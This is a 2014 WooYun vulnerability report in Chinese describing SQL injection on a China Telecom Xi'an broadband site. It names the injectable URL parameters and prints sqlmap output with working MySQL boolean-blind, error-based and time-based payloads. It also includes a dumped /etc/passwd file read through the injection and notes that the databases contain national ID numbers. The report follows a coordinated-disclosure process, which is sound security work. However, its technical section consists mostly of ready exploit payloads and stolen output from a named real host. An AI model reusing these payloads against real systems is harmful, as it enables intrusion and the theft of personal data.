漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-077181
漏洞标题:西安电信某站SQL注入
相关厂商:中国电信
漏洞作者: Neeke
提交时间:2014-09-24 17:33
修复时间:2014-11-08 17:34
公开时间:2014-11-08 17:34
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-09-24: 细节已通知厂商并且等待厂商处理中
2014-09-28: 厂商已经确认,细节仅向厂商公开
2014-10-08: 细节向核心白帽子及相关领域专家公开
2014-10-18: 细节向普通白帽子公开
2014-10-28: 细节向实习白帽子公开
2014-11-08: 细节向公众公开
简要描述:
打算办宽带,浏览官网时发现的。
详细说明:
POST型:
http://www.tylmw.cn/tjsearch.php?act=save
参数:tjtel=9&x=48&y=22
tjtel存在注入
GET型:
http://www.tylmw.cn/broadband_ajax.php?tstime=1411548817979&key=1
参数key存在注入
应该还有其它点,没逐个试。
库比较多,身份证号什么的都有。
漏洞证明:
http://www.tylmw.cn/tjsearch.php?act=save:
<img src="/upload/201409/24171053416134ad92bc55aa1f76e67a435fe9c5.png"/>
sqlmap identified the following injection points with a total of 235 HTTP(s) requests:
---
Place: POST
Parameter: tjtel
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: tjtel=9%' RLIKE (SELECT (CASE WHEN (4965=4965) THEN 9 ELSE 0x28 END)) AND '%'='&x=48&y=22
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: tjtel=9%' AND (SELECT 3599 FROM(SELECT COUNT(*),CONCAT(0x7163687371,(SELECT (CASE WHEN (3599=3599) THEN 1 ELSE 0 END)),0x71676f7371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&x=48&y=22
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: tjtel=9%' AND 8671=BENCHMARK(5000000,MD5(0x646c6d4a)) AND '%'='&x=48&y=22
---
web application technology: Apache 2.4.7, PHP 5.3.27
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: tjtel
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: tjtel=9%' AND (SELECT 3599 FROM(SELECT COUNT(*),CONCAT(0x7163687371,(SELECT (CASE WHEN (3599=3599) THEN 1 ELSE 0 END)),0x71676f7371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='&x=48&y=22
---
web application technology: Apache 2.4.7, PHP 5.3.27
back-end DBMS: MySQL >= 5.0.0
current user: 'root@%'
读文件:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:500:500::/home/mysql:/sbin/nologin
www:x:501:501::/home/www:/sbin/nologin
nagios:x:502:502::/home/nagios:/bin/bash
cacti:x:503:504::/home/cacti:/bin/bash
nginx:x:504:505::/home/nginx:/sbin/nologin
修复方案:
一入电信深似海,从此手机不好买。
版权声明:转载请注明来源 Neeke@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:7
确认时间:2014-09-28 10:12
厂商回复:
最新状态:
暂无